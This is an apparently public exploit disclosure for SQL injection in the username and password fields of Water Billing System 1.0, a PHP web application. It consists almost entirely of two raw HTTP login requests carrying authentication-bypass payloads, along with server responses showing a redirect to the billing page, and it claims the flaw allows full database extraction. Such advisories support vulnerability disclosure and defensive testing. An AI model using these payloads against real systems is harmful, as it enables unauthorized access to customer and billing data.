Water Billing System 1.0 SQL Injection

`# Exploit Title: Water Billing System 1.0 - 'username' and 'password' parameters SQL Injection  
# SQL Injection in 'username' and 'password' parameters allows attacker to run the SQL commands on the victim to extract entire DB. In advanced exploitation, an attacker can run the arbitrary code on the victim system to compromise it...  
# Exploit Author: Sarang Tumne (CyberInsane)  
# Date: 4th Nov, 2020  
# Confirmed on release 1.0  
# Tested on: Windows Server 2016- XAMPP  
# Vendor: https://www.sourcecodester.com/php/14560/water-billing-system-phpmysqli-full-source-code.html  
###############################################  
  
POST /wbs/process.php HTTP/1.1  
Host: 192.168.56.102:8080  
Content-Length: 45  
Cache-Control: max-age=0  
Upgrade-Insecure-Requests: 1  
Origin: http://192.168.56.102:8080  
Content-Type: application/x-www-form-urlencoded  
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/86.0.4240.111 Safari/537.36  
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9  
Referer: http://192.168.56.102:8080/wbs/  
Accept-Encoding: gzip, deflate  
Accept-Language: en-US,en;q=0.9  
Connection: close  
  
username='%20or%200%3d0%20#&password=password  
  
Response:  
  
HTTP/1.1 200 OK  
Date: Mon, 02 Nov 2020 04:30:51 GMT  
Server: Apache/2.4.43 (Win64) OpenSSL/1.1.1g PHP/7.2.30  
X-Powered-By: PHP/7.2.30  
Set-Cookie: PHPSESSID=4q8t10sshr36he7sl19hb563a0; path=/  
Expires: Thu, 19 Nov 1981 08:52:00 GMT  
Cache-Control: no-store, no-cache, must-revalidate  
Pragma: no-cache  
Content-Length: 48  
Connection: close  
Content-Type: text/html; charset=UTF-8  
  
<script>windows: location="billing.php"</script>  
=========================================================================  
POST /wbs/process.php HTTP/1.1  
Host: 192.168.56.102:8080  
Content-Length: 48  
Cache-Control: max-age=0  
Upgrade-Insecure-Requests: 1  
Origin: http://192.168.56.102:8080  
Content-Type: application/x-www-form-urlencoded  
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/86.0.4240.111 Safari/537.36  
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9  
Referer: http://192.168.56.102:8080/wbs/  
Accept-Encoding: gzip, deflate  
Accept-Language: en-US,en;q=0.9  
Connection: close  
  
username=admin&password=a'%20or%20'a'%20%3d%20'a  
  
Response:  
HTTP/1.1 200 OK  
Date: Mon, 02 Nov 2020 04:30:49 GMT  
Server: Apache/2.4.43 (Win64) OpenSSL/1.1.1g PHP/7.2.30  
X-Powered-By: PHP/7.2.30  
Set-Cookie: PHPSESSID=34a478h4bhtliatg8l71kmp10r; path=/  
Expires: Thu, 19 Nov 1981 08:52:00 GMT  
Cache-Control: no-store, no-cache, must-revalidate  
Pragma: no-cache  
Content-Length: 48  
Connection: close  
Content-Type: text/html; charset=UTF-8  
  
<script>windows: location="billing.php"</script>  
`